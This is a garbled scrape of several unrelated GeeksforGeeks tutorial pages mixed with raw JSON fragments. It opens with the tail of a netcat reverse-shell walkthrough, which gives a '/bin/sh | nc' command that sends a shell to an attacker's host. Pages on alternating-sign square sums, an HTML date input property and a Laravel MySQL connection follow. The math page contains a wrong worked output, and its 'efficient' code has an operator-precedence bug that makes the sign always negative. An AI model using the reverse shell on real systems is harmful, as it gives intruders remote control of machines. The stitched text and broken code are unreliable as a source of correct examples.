with the port you want to receive the connection on." }, { "code": null, "e": 27248, "s": 27201, "text": "This will start the listener on the port 5555." }, { "code": null, "e": 27488, "s": 27248, "text": "2. Receive connection along with a shell from target: Now as we have started listening, it’s time to execute a basic payload at the target so that we could get a reverse shell. Use the following command to send the request to the attacker." }, { "code": null, "e": 27516, "s": 27488, "text": "/bin/sh | nc 127.0.0.1 5555" }, { "code": null, "e": 27602, "s": 27516, "text": "Replace 127.0.0.1 with the host IP of the attacker and 5555 with the attacker’s port." }, { "code": null, "e": 27698, "s": 27602, "text": "This will give a reverse shell to the attacker which attacker could use to execute any command." }, { "code": null, "e": 27849, "s": 27698, "text": "3. Executing a command through shell: Now if we enter any command at the receiver’s terminal the output would be displayed on the attacker’s terminal." }, { "code": null, "e": 27860, "s": 27849, "text": "Kali-Linux" }, { "code": null, "e": 27871, "s": 27860, "text": "Linux-Unix" }, { "code": null, "e": 27969, "s": 27871, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28004, "s": 27969, "text": "ZIP command in Linux with examples" }, { "code": null, "e": 28042, "s": 28004, "text": "TCP Server-Client implementation in C" }, { "code": null, "e": 28083, "s": 28042, "text": "SORT command in Linux/Unix with examples" }, { "code": null, "e": 28118, "s": 28083, "text": "tar command in Linux with examples" }, { "code": null, "e": 28154, "s": 28118, "text": "curl command in Linux with Examples" }, { "code": null, "e": 28192, "s": 28154, "text": "Conditional Statements | Shell Script" }, { "code": null, "e": 28225, "s": 28192, "text": "'crontab' in Linux with Examples" }, { "code": null, "e": 28261, "s": 28225, "text": "diff command in Linux with examples" }, { "code": null, "e": 28299, "s": 28261, "text": "UDP Server-Client implementation in C" } ]
Sum of alternating sign Squares of first N natural numbers - GeeksforGeeks
08 Apr, 2021 Given a number N, the task is to find the sum of alternating sign squares of first N natural numbers, i.e., 12 – 22 + 32 – 42 + 52 – 62 + .... Examples: Input: N = 2 Output: 5 Explanation: Required sum = 12 - 22 = -1 Input: N = 8 Output: 36 Explanation: Required sum = 12 - 22 + 32 - 42 + 52 - 62 + 72 - 82 = 36 Naive approach: O(N) The Naive or Brute force approach to solve this problem states to find the square of each number from 1 to N and add them with alternating sign in order to get the required sum. For each number in 1 to N, find its squareAdd these squares with alternating signThis would give the required sum. For each number in 1 to N, find its square Add these squares with alternating sign This would give the required sum. Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ program to find Sum of alternating// sign Squares of first N natural numbers #include <iostream>using namespace std; // Function to calculate// the alternating sign sumint summation(int n){ // Variable to store the sum int sum = 0; // Loop to iterate each number // from 1 to N for (int i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum;} // Driver codeint main(){ int N = 2; cout << summation(N); return 0;} // Java program to find Sum of alternating// sign Squares of first N natural numbersclass GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the sum int sum = 0; // Loop to iterate each number // from 1 to N for (int i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum; } // Driver code public static void main (String[] args) { int N = 2; System.out.println(summation(N)); }} // This code is contributed by AnkitRai01 # Python3 program to find Sum of alternating# sign Squares of first N natural numbers # Function to calculate# the alternating sign sumdef summation(n) : # Variable to store the sum sum = 0; # Loop to iterate each number # from 1 to N for i in range(1, n + 1) : # The alternating sign is put # by checking if the number # is even or odd if (i % 2 == 1) : # Add the square with the sign sum += (i * i); else : # Add the square with the sign sum -= (i * i); return sum; # Driver codeif __name__ == "__main__" : N = 2; print(summation(N)); # This code is contributed by AnkitRai01 // C# program to find Sum of alternating// sign Squares of first N natural numbersusing System; class GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the sum int sum = 0; // Loop to iterate each number // from 1 to N for (int i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum; } // Driver code public static void Main() { int N = 2; Console.WriteLine(summation(N)); }} // This code is contributed by AnkitRai01 <script>// JavaScript program to find Sum of alternating// sign Squares of first N natural numbers // Function to calculate // the alternating sign sum function summation(n) { // Variable to store the sum let sum = 0; // Loop to iterate each number // from 1 to N for (let i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum; } // Driver code let N = 2; document.write(summation(N)); // This code is contributed by Surbhi Tyagi </script> -3 Efficient Approach: O(1) There exists a formula for finding the sum of squares of first n numbers with alternating signs: How does this work? We can prove this formula using induction. We can easily see that the formula is true for n = 1 and n = 2 as sums are 1 and -3 respectively. Let it be true for n = k-1. So sum of k-1 numbers is (-1)k(k - 1) * k / 2 In the following steps, we show that it is true for k assuming that it is true for k-1. Sum of k numbers =(-1)k (Sum of k-1 numbers + k2) =(-1)k+1 ((k - 1) * k / 2 + k2) =(-1)k+1 (k * (k + 1) / 2), which is true. Hence inorder to find the sum of alternating sign squares of first N natural numbers, simply compute the formula and print the result. C++ Java Python3 C# Javascript // C++ program to find Sum of alternating// sign Squares of first N natural numbers #include <iostream>using namespace std; // Function to calculate// the alternating sign sumint summation(int n){ // Variable to store the absolute sum int abs_sum = n * (n + 1) / 2; // Variable to store the sign int sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum int result_sum = sign * abs_sum; return result_sum;} // Driver codeint main(){ int N = 2; cout << summation(N); return 0;} // Java program to find Sum of alternating// sign Squares of first N natural numbersclass GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the absolute sum int abs_sum = n * (n + 1) / 2; // Variable to store the sign int sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum int result_sum = sign * abs_sum; return result_sum; } // Driver code public static void main (String[] args) { int N = 2; System.out.println(summation(N)); }} // This code is contributed by AnkitRai01 # Python3 program to find Sum of alternating# sign Squares of first N natural numbers # Function to calculate# the alternating sign sumdef summation(n) : # Variable to store the absolute sum abs_sum = n * (n + 1) // 2; # Variable to store the sign sign = 1 if ((n + 1) % 2 == 0 ) else -1; # Variable to store the resultant sum result_sum = sign * abs_sum; return result_sum; # Driver codeif __name__ == "__main__" : N = 2; print(summation(N)); # This code is contributed by AnkitRai01 // C# program to find Sum of alternating// sign Squares of first N natural numbers using System; public class GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the absolute sum int abs_sum = (int)(n * (n + 1) / 2); // Variable to store the sign int sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum int result_sum = sign * abs_sum; return result_sum; } // Driver code public static void Main() { int N = 2; Console.WriteLine(summation(N)); }} // This code is contributed by AnkitRai01 <script> // Javascript program to find Sum of alternating// sign Squares of first N natural numbers // Function to calculate// the alternating sign sumfunction summation(n){ // Variable to store the absolute sum var abs_sum = n * (n + 1) / 2; // Variable to store the sign var sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum var result_sum = sign * abs_sum; return result_sum;} // Driver codevar N = 2;document.write(summation(N)); // This code is contributed by rutvik_56.</script> -3 ankthon Akanksha_Rai surbhityagi15 rutvik_56 maths-perfect-square Natural Numbers Mathematical Mathematical Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Program to print prime numbers from 1 to N. Segment Tree | Set 1 (Sum of given range) Count all possible paths from top left to bottom right of a mXn matrix Modular multiplicative inverse Program to multiply two matrices Fizz Buzz Implementation Check if a number is Palindrome Count ways to reach the n'th stair Merge two sorted arrays with O(1) extra space Min Cost Path | DP-6
[ { "code": null, "e": 25937, "s": 25909, "text": "\n08 Apr, 2021" }, { "code": null, "e": 26046, "s": 25937, "text": "Given a number N, the task is to find the sum of alternating sign squares of first N natural numbers, i.e., " }, { "code": null, "e": 26083, "s": 26046, "text": "12 – 22 + 32 – 42 + 52 – 62 + .... " }, { "code": null, "e": 26095, "s": 26083, "text": "Examples: " }, { "code": null, "e": 26257, "s": 26095, "text": "Input: N = 2\nOutput: 5\nExplanation:\nRequired sum = 12 - 22 = -1\n\nInput: N = 8\nOutput: 36\nExplanation:\nRequired sum \n= 12 - 22 + 32 - 42 + 52 - 62 + 72 - 82 \n= 36" }, { "code": null, "e": 26460, "s": 26259, "text": "Naive approach: O(N) The Naive or Brute force approach to solve this problem states to find the square of each number from 1 to N and add them with alternating sign in order to get the required sum. " }, { "code": null, "e": 26575, "s": 26460, "text": "For each number in 1 to N, find its squareAdd these squares with alternating signThis would give the required sum." }, { "code": null, "e": 26618, "s": 26575, "text": "For each number in 1 to N, find its square" }, { "code": null, "e": 26658, "s": 26618, "text": "Add these squares with alternating sign" }, { "code": null, "e": 26692, "s": 26658, "text": "This would give the required sum." }, { "code": null, "e": 26745, "s": 26692, "text": "Below is the implementation of the above approach: " }, { "code": null, "e": 26749, "s": 26745, "text": "C++" }, { "code": null, "e": 26754, "s": 26749, "text": "Java" }, { "code": null, "e": 26762, "s": 26754, "text": "Python3" }, { "code": null, "e": 26765, "s": 26762, "text": "C#" }, { "code": null, "e": 26776, "s": 26765, "text": "Javascript" }, { "code": "// C++ program to find Sum of alternating// sign Squares of first N natural numbers #include <iostream>using namespace std; // Function to calculate// the alternating sign sumint summation(int n){ // Variable to store the sum int sum = 0; // Loop to iterate each number // from 1 to N for (int i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum;} // Driver codeint main(){ int N = 2; cout << summation(N); return 0;}", "e": 27485, "s": 26776, "text": null }, { "code": "// Java program to find Sum of alternating// sign Squares of first N natural numbersclass GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the sum int sum = 0; // Loop to iterate each number // from 1 to N for (int i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum; } // Driver code public static void main (String[] args) { int N = 2; System.out.println(summation(N)); }} // This code is contributed by AnkitRai01", "e": 28381, "s": 27485, "text": null }, { "code": "# Python3 program to find Sum of alternating# sign Squares of first N natural numbers # Function to calculate# the alternating sign sumdef summation(n) : # Variable to store the sum sum = 0; # Loop to iterate each number # from 1 to N for i in range(1, n + 1) : # The alternating sign is put # by checking if the number # is even or odd if (i % 2 == 1) : # Add the square with the sign sum += (i * i); else : # Add the square with the sign sum -= (i * i); return sum; # Driver codeif __name__ == \"__main__\" : N = 2; print(summation(N)); # This code is contributed by AnkitRai01", "e": 29077, "s": 28381, "text": null }, { "code": "// C# program to find Sum of alternating// sign Squares of first N natural numbersusing System; class GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the sum int sum = 0; // Loop to iterate each number // from 1 to N for (int i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum; } // Driver code public static void Main() { int N = 2; Console.WriteLine(summation(N)); }} // This code is contributed by AnkitRai01", "e": 29970, "s": 29077, "text": null }, { "code": "<script>// JavaScript program to find Sum of alternating// sign Squares of first N natural numbers // Function to calculate // the alternating sign sum function summation(n) { // Variable to store the sum let sum = 0; // Loop to iterate each number // from 1 to N for (let i = 1; i <= n; i++) { // The alternating sign is put // by checking if the number // is even or odd if (i % 2 == 1) // Add the square with the sign sum += (i * i); else // Add the square with the sign sum -= (i * i); } return sum; } // Driver code let N = 2; document.write(summation(N)); // This code is contributed by Surbhi Tyagi </script>", "e": 30793, "s": 29970, "text": null }, { "code": null, "e": 30796, "s": 30793, "text": "-3" }, { "code": null, "e": 30921, "s": 30798, "text": "Efficient Approach: O(1) There exists a formula for finding the sum of squares of first n numbers with alternating signs: " }, { "code": null, "e": 30948, "s": 30926, "text": "How does this work? " }, { "code": null, "e": 31384, "s": 30948, "text": "We can prove this formula using induction.\nWe can easily see that the formula is true for\nn = 1 and n = 2 as sums are 1 and -3 respectively.\n\nLet it be true for n = k-1. So sum of k-1 numbers\nis (-1)k(k - 1) * k / 2\n\nIn the following steps, we show that it is true \nfor k assuming that it is true for k-1.\n\n\nSum of k numbers\n =(-1)k (Sum of k-1 numbers + k2)\n =(-1)k+1 ((k - 1) * k / 2 + k2)\n =(-1)k+1 (k * (k + 1) / 2), which is true." }, { "code": null, "e": 31521, "s": 31384, "text": "Hence inorder to find the sum of alternating sign squares of first N natural numbers, simply compute the formula and print the result. " }, { "code": null, "e": 31525, "s": 31521, "text": "C++" }, { "code": null, "e": 31530, "s": 31525, "text": "Java" }, { "code": null, "e": 31538, "s": 31530, "text": "Python3" }, { "code": null, "e": 31541, "s": 31538, "text": "C#" }, { "code": null, "e": 31552, "s": 31541, "text": "Javascript" }, { "code": "// C++ program to find Sum of alternating// sign Squares of first N natural numbers #include <iostream>using namespace std; // Function to calculate// the alternating sign sumint summation(int n){ // Variable to store the absolute sum int abs_sum = n * (n + 1) / 2; // Variable to store the sign int sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum int result_sum = sign * abs_sum; return result_sum;} // Driver codeint main(){ int N = 2; cout << summation(N); return 0;}", "e": 32080, "s": 31552, "text": null }, { "code": "// Java program to find Sum of alternating// sign Squares of first N natural numbersclass GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the absolute sum int abs_sum = n * (n + 1) / 2; // Variable to store the sign int sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum int result_sum = sign * abs_sum; return result_sum; } // Driver code public static void main (String[] args) { int N = 2; System.out.println(summation(N)); }} // This code is contributed by AnkitRai01", "e": 32753, "s": 32080, "text": null }, { "code": "# Python3 program to find Sum of alternating# sign Squares of first N natural numbers # Function to calculate# the alternating sign sumdef summation(n) : # Variable to store the absolute sum abs_sum = n * (n + 1) // 2; # Variable to store the sign sign = 1 if ((n + 1) % 2 == 0 ) else -1; # Variable to store the resultant sum result_sum = sign * abs_sum; return result_sum; # Driver codeif __name__ == \"__main__\" : N = 2; print(summation(N)); # This code is contributed by AnkitRai01", "e": 33270, "s": 32753, "text": null }, { "code": "// C# program to find Sum of alternating// sign Squares of first N natural numbers using System; public class GFG{ // Function to calculate // the alternating sign sum static int summation(int n) { // Variable to store the absolute sum int abs_sum = (int)(n * (n + 1) / 2); // Variable to store the sign int sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum int result_sum = sign * abs_sum; return result_sum; } // Driver code public static void Main() { int N = 2; Console.WriteLine(summation(N)); }} // This code is contributed by AnkitRai01", "e": 33955, "s": 33270, "text": null }, { "code": "<script> // Javascript program to find Sum of alternating// sign Squares of first N natural numbers // Function to calculate// the alternating sign sumfunction summation(n){ // Variable to store the absolute sum var abs_sum = n * (n + 1) / 2; // Variable to store the sign var sign = n + 1 % 2 == 0 ? 1 : -1; // Variable to store the resultant sum var result_sum = sign * abs_sum; return result_sum;} // Driver codevar N = 2;document.write(summation(N)); // This code is contributed by rutvik_56.</script>", "e": 34486, "s": 33955, "text": null }, { "code": null, "e": 34489, "s": 34486, "text": "-3" }, { "code": null, "e": 34499, "s": 34491, "text": "ankthon" }, { "code": null, "e": 34512, "s": 34499, "text": "Akanksha_Rai" }, { "code": null, "e": 34526, "s": 34512, "text": "surbhityagi15" }, { "code": null, "e": 34536, "s": 34526, "text": "rutvik_56" }, { "code": null, "e": 34557, "s": 34536, "text": "maths-perfect-square" }, { "code": null, "e": 34573, "s": 34557, "text": "Natural Numbers" }, { "code": null, "e": 34586, "s": 34573, "text": "Mathematical" }, { "code": null, "e": 34599, "s": 34586, "text": "Mathematical" }, { "code": null, "e": 34697, "s": 34599, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34741, "s": 34697, "text": "Program to print prime numbers from 1 to N." }, { "code": null, "e": 34783, "s": 34741, "text": "Segment Tree | Set 1 (Sum of given range)" }, { "code": null, "e": 34854, "s": 34783, "text": "Count all possible paths from top left to bottom right of a mXn matrix" }, { "code": null, "e": 34885, "s": 34854, "text": "Modular multiplicative inverse" }, { "code": null, "e": 34918, "s": 34885, "text": "Program to multiply two matrices" }, { "code": null, "e": 34943, "s": 34918, "text": "Fizz Buzz Implementation" }, { "code": null, "e": 34975, "s": 34943, "text": "Check if a number is Palindrome" }, { "code": null, "e": 35010, "s": 34975, "text": "Count ways to reach the n'th stair" }, { "code": null, "e": 35056, "s": 35010, "text": "Merge two sorted arrays with O(1) extra space" } ]
HTML | DOM Input Date defaultValue Property - GeeksforGeeks
06 Jun, 2021 The Input Date defaultValue Property in HTML DOM is used to set or return the default value of a date field. This property is used to reflect the HTML value attribute. The main difference between the default value and value is that the default value indicate the default value and the value contains the current value after making some changes. This property is useful to find whether the Date field has been changed or not.Syntax: It is used to return the defaultValue property. dateObject.defaultValue It is used to set the defaultValue property. dateObject.defaultValue = value Property Values: It contains single property value which defines the default value for Input date field.Return Value: It returns a string value which represent the default value of the input date field.Example 1: This example illustrates how to return Input Date defaultValue property. html <!DOCTYPE html><html> <head> <title> HTML DOM Input Date defaultValue Property </title> <style> h1 { color: green; } h2 { font-family: Impact; } body { text-align: center; } </style></head> <body> <h1>GeeksforGeeks</h1> <h2>Input Date default Value Property</h2> <br> <input type="date" id="test_Date" value = "2014-02-09" autofocus> <button ondblclick="My_Date()">Check</button> <p id="test"></p> <script> function My_Date() { var d = document.getElementById("test_Date").defaultValue; document.getElementById("test").innerHTML = d; } </script></body> </html> Output: Before Clicking On Button: After Clicking On Button: Example 2: This example returns the Input Date defaultValue property. html <!DOCTYPE html><html> <head> <title> HTML DOM Input Date defaultValue Property </title> <style> h1 { color: green; } h2 { font-family: Impact; } body { text-align: center; } </style></head> <body> <h1>GeeksforGeeks</h1> <h2>Input Date default Value Property</h2> <br> <input type="date" id="test_Date" value = "2014-02-09" autofocus> <button ondblclick="My_Date()">Check</button> <p id="test"></p> <script> function My_Date() { var d = document.getElementById( "test_Date").defaultValue = " 2019-05-09"; document.getElementById("test").innerHTML = " The defaultValue was changed to " + d; } </script></body> </html> Output: Before Clicking On Button: After Clicking On Button: Supported Browsers: The browsers supported by HTML DOM Input Date defaultValue Property are listed below: Google Chrome Internet Explorer Firefox Safari Opera Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course. hritikbhatnagar2182 HTML-Attributes HTML-DOM HTML Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. REST API (Introduction) HTML Cheat Sheet - A Basic Guide to HTML Design a web page using HTML and CSS Form validation using jQuery Angular File Upload Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? Difference between var, let and const keywords in JavaScript
[ { "code": null, "e": 26139, "s": 26111, "text": "\n06 Jun, 2021" }, { "code": null, "e": 26573, "s": 26139, "text": "The Input Date defaultValue Property in HTML DOM is used to set or return the default value of a date field. This property is used to reflect the HTML value attribute. The main difference between the default value and value is that the default value indicate the default value and the value contains the current value after making some changes. This property is useful to find whether the Date field has been changed or not.Syntax: " }, { "code": null, "e": 26623, "s": 26573, "text": "It is used to return the defaultValue property. " }, { "code": null, "e": 26647, "s": 26623, "text": "dateObject.defaultValue" }, { "code": null, "e": 26694, "s": 26647, "text": "It is used to set the defaultValue property. " }, { "code": null, "e": 26726, "s": 26694, "text": "dateObject.defaultValue = value" }, { "code": null, "e": 27013, "s": 26726, "text": "Property Values: It contains single property value which defines the default value for Input date field.Return Value: It returns a string value which represent the default value of the input date field.Example 1: This example illustrates how to return Input Date defaultValue property. " }, { "code": null, "e": 27018, "s": 27013, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title> HTML DOM Input Date defaultValue Property </title> <style> h1 { color: green; } h2 { font-family: Impact; } body { text-align: center; } </style></head> <body> <h1>GeeksforGeeks</h1> <h2>Input Date default Value Property</h2> <br> <input type=\"date\" id=\"test_Date\" value = \"2014-02-09\" autofocus> <button ondblclick=\"My_Date()\">Check</button> <p id=\"test\"></p> <script> function My_Date() { var d = document.getElementById(\"test_Date\").defaultValue; document.getElementById(\"test\").innerHTML = d; } </script></body> </html>", "e": 27770, "s": 27018, "text": null }, { "code": null, "e": 27780, "s": 27770, "text": "Output: " }, { "code": null, "e": 27809, "s": 27780, "text": "Before Clicking On Button: " }, { "code": null, "e": 27837, "s": 27809, "text": "After Clicking On Button: " }, { "code": null, "e": 27909, "s": 27837, "text": "Example 2: This example returns the Input Date defaultValue property. " }, { "code": null, "e": 27914, "s": 27909, "text": "html" }, { "code": "<!DOCTYPE html><html> <head> <title> HTML DOM Input Date defaultValue Property </title> <style> h1 { color: green; } h2 { font-family: Impact; } body { text-align: center; } </style></head> <body> <h1>GeeksforGeeks</h1> <h2>Input Date default Value Property</h2> <br> <input type=\"date\" id=\"test_Date\" value = \"2014-02-09\" autofocus> <button ondblclick=\"My_Date()\">Check</button> <p id=\"test\"></p> <script> function My_Date() { var d = document.getElementById( \"test_Date\").defaultValue = \" 2019-05-09\"; document.getElementById(\"test\").innerHTML = \" The defaultValue was changed to \" + d; } </script></body> </html>", "e": 28754, "s": 27914, "text": null }, { "code": null, "e": 28764, "s": 28754, "text": "Output: " }, { "code": null, "e": 28793, "s": 28764, "text": "Before Clicking On Button: " }, { "code": null, "e": 28821, "s": 28793, "text": "After Clicking On Button: " }, { "code": null, "e": 28929, "s": 28821, "text": "Supported Browsers: The browsers supported by HTML DOM Input Date defaultValue Property are listed below: " }, { "code": null, "e": 28943, "s": 28929, "text": "Google Chrome" }, { "code": null, "e": 28961, "s": 28943, "text": "Internet Explorer" }, { "code": null, "e": 28969, "s": 28961, "text": "Firefox" }, { "code": null, "e": 28976, "s": 28969, "text": "Safari" }, { "code": null, "e": 28982, "s": 28976, "text": "Opera" }, { "code": null, "e": 29121, "s": 28984, "text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course." }, { "code": null, "e": 29141, "s": 29121, "text": "hritikbhatnagar2182" }, { "code": null, "e": 29157, "s": 29141, "text": "HTML-Attributes" }, { "code": null, "e": 29166, "s": 29157, "text": "HTML-DOM" }, { "code": null, "e": 29171, "s": 29166, "text": "HTML" }, { "code": null, "e": 29188, "s": 29171, "text": "Web Technologies" }, { "code": null, "e": 29193, "s": 29188, "text": "HTML" }, { "code": null, "e": 29291, "s": 29193, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29315, "s": 29291, "text": "REST API (Introduction)" }, { "code": null, "e": 29356, "s": 29315, "text": "HTML Cheat Sheet - A Basic Guide to HTML" }, { "code": null, "e": 29393, "s": 29356, "text": "Design a web page using HTML and CSS" }, { "code": null, "e": 29422, "s": 29393, "text": "Form validation using jQuery" }, { "code": null, "e": 29442, "s": 29422, "text": "Angular File Upload" }, { "code": null, "e": 29482, "s": 29442, "text": "Remove elements from a JavaScript Array" }, { "code": null, "e": 29515, "s": 29482, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 29560, "s": 29515, "text": "Convert a string to an integer in JavaScript" }, { "code": null, "e": 29603, "s": 29560, "text": "How to fetch data from an API in ReactJS ?" } ]
Laravel | MySQL Database Connection - GeeksforGeeks
30 Dec, 2019 The database is an important element in any application. Laravel by default provides the support of MySQL. MySQL is a well known, open-source RDBMS (Relational Database Management System). Process for Connecting to the Database: Step 1: First we have to create a database. So, we will start Apache and MySQL server form XAMPP Control Panel. Step 2: Open any web browser, like Chrome, and type localhost/phpmyadmin in URL. Step 3: Now, click on the Databases tab and there, write the database named as geeksforgeeks and click on create. Step 4: Now, you will have to find a file named .env, where you will have to specify the details for the MySQL server, like database name, username, etc. In that file, you will have to search for names starting with DB_. Step 5: In that, you will find the DB_CONNECTION=mysql line. Below this are all the details specified for the database connection. You will have to specify the database name geeksforgeeks, that we created, after DB_DATABASE= and also specify username and password according to your need. Then save the file. Step 6: Now, we will create a View in resources/views directory with the name gfg.blade.php. Write the below code in the file.<!DOCTYPE html><html><head> <title>GeeksforGeeks</title> <style> div { font-size: 22px; } </style></head><body> <div> <?php if(DB::connection()->getPdo()) { echo "Successfully connected to the database => " .DB::connection()->getDatabaseName(); } ?> </div></body></html> <!DOCTYPE html><html><head> <title>GeeksforGeeks</title> <style> div { font-size: 22px; } </style></head><body> <div> <?php if(DB::connection()->getPdo()) { echo "Successfully connected to the database => " .DB::connection()->getDatabaseName(); } ?> </div></body></html> Step 7: Write the following route in the ‘web.php’ file in ‘routes’ directory.Route::get('gfg', function () { return view('gfg'); }); Route::get('gfg', function () { return view('gfg'); }); Step 8: Now, run the following Laravel artisan command to start the server:php artisan serve php artisan serve Step 9: And now, open the provided URL by the artisan in the browser with /gfg at the end.http://127.0.0.1:8000/gfgIf the connection is successful then the message will appear as above or it will give an error as below: http://127.0.0.1:8000/gfg If the connection is successful then the message will appear as above or it will give an error as below: Custom Error Message: If you don’t want Laravel to handle it and give a predefined message then you can use try . . . catch block as shown below or can directlyreplace the step 6 codes with this lines of code: <!DOCTYPE html><html><head> <title>GeeksforGeeks</title> <style> div { font-size: 22px; } </style></head><body> <div> <?php try { if(DB::connection()->getPdo()) { echo "Successfully connected to the database => " .DB::connection()->getDatabaseName(); } } catch (Exception $e) { echo "Unable to connect"; } ?> </div></body></html> Here, if unsuccessful then will print the message written in the catch block: Reference: https://laravel.com/docs/6.x/database Laravel PHP Technical Scripter Web Technologies PHP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to fetch data from localserver database and display on HTML table using PHP ? How to create admin login page using PHP? PHP str_replace() Function How to pass form variables from one page to other page in PHP ? Different ways for passing data to view in Laravel Remove elements from a JavaScript Array Installation of Node.js on Linux Convert a string to an integer in JavaScript How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 26217, "s": 26189, "text": "\n30 Dec, 2019" }, { "code": null, "e": 26406, "s": 26217, "text": "The database is an important element in any application. Laravel by default provides the support of MySQL. MySQL is a well known, open-source RDBMS (Relational Database Management System)." }, { "code": null, "e": 26446, "s": 26406, "text": "Process for Connecting to the Database:" }, { "code": null, "e": 26558, "s": 26446, "text": "Step 1: First we have to create a database. So, we will start Apache and MySQL server form XAMPP Control Panel." }, { "code": null, "e": 26639, "s": 26558, "text": "Step 2: Open any web browser, like Chrome, and type localhost/phpmyadmin in URL." }, { "code": null, "e": 26753, "s": 26639, "text": "Step 3: Now, click on the Databases tab and there, write the database named as geeksforgeeks and click on create." }, { "code": null, "e": 26974, "s": 26753, "text": "Step 4: Now, you will have to find a file named .env, where you will have to specify the details for the MySQL server, like database name, username, etc. In that file, you will have to search for names starting with DB_." }, { "code": null, "e": 27282, "s": 26974, "text": "Step 5: In that, you will find the DB_CONNECTION=mysql line. Below this are all the details specified for the database connection. You will have to specify the database name geeksforgeeks, that we created, after DB_DATABASE= and also specify username and password according to your need. Then save the file." }, { "code": null, "e": 27809, "s": 27282, "text": "Step 6: Now, we will create a View in resources/views directory with the name gfg.blade.php. Write the below code in the file.<!DOCTYPE html><html><head> <title>GeeksforGeeks</title> <style> div { font-size: 22px; } </style></head><body> <div> <?php if(DB::connection()->getPdo()) { echo \"Successfully connected to the database => \" .DB::connection()->getDatabaseName(); } ?> </div></body></html>" }, { "code": "<!DOCTYPE html><html><head> <title>GeeksforGeeks</title> <style> div { font-size: 22px; } </style></head><body> <div> <?php if(DB::connection()->getPdo()) { echo \"Successfully connected to the database => \" .DB::connection()->getDatabaseName(); } ?> </div></body></html>", "e": 28210, "s": 27809, "text": null }, { "code": null, "e": 28349, "s": 28210, "text": "Step 7: Write the following route in the ‘web.php’ file in ‘routes’ directory.Route::get('gfg', function () {\n return view('gfg');\n});\n" }, { "code": null, "e": 28410, "s": 28349, "text": "Route::get('gfg', function () {\n return view('gfg');\n});\n" }, { "code": null, "e": 28503, "s": 28410, "text": "Step 8: Now, run the following Laravel artisan command to start the server:php artisan serve" }, { "code": null, "e": 28521, "s": 28503, "text": "php artisan serve" }, { "code": null, "e": 28741, "s": 28521, "text": "Step 9: And now, open the provided URL by the artisan in the browser with /gfg at the end.http://127.0.0.1:8000/gfgIf the connection is successful then the message will appear as above or it will give an error as below:" }, { "code": null, "e": 28767, "s": 28741, "text": "http://127.0.0.1:8000/gfg" }, { "code": null, "e": 28872, "s": 28767, "text": "If the connection is successful then the message will appear as above or it will give an error as below:" }, { "code": null, "e": 29082, "s": 28872, "text": "Custom Error Message: If you don’t want Laravel to handle it and give a predefined message then you can use try . . . catch block as shown below or can directlyreplace the step 6 codes with this lines of code:" }, { "code": "<!DOCTYPE html><html><head> <title>GeeksforGeeks</title> <style> div { font-size: 22px; } </style></head><body> <div> <?php try { if(DB::connection()->getPdo()) { echo \"Successfully connected to the database => \" .DB::connection()->getDatabaseName(); } } catch (Exception $e) { echo \"Unable to connect\"; } ?> </div></body></html>", "e": 29642, "s": 29082, "text": null }, { "code": null, "e": 29720, "s": 29642, "text": "Here, if unsuccessful then will print the message written in the catch block:" }, { "code": null, "e": 29769, "s": 29720, "text": "Reference: https://laravel.com/docs/6.x/database" }, { "code": null, "e": 29777, "s": 29769, "text": "Laravel" }, { "code": null, "e": 29781, "s": 29777, "text": "PHP" }, { "code": null, "e": 29800, "s": 29781, "text": "Technical Scripter" }, { "code": null, "e": 29817, "s": 29800, "text": "Web Technologies" }, { "code": null, "e": 29821, "s": 29817, "text": "PHP" }, { "code": null, "e": 29919, "s": 29821, "text": 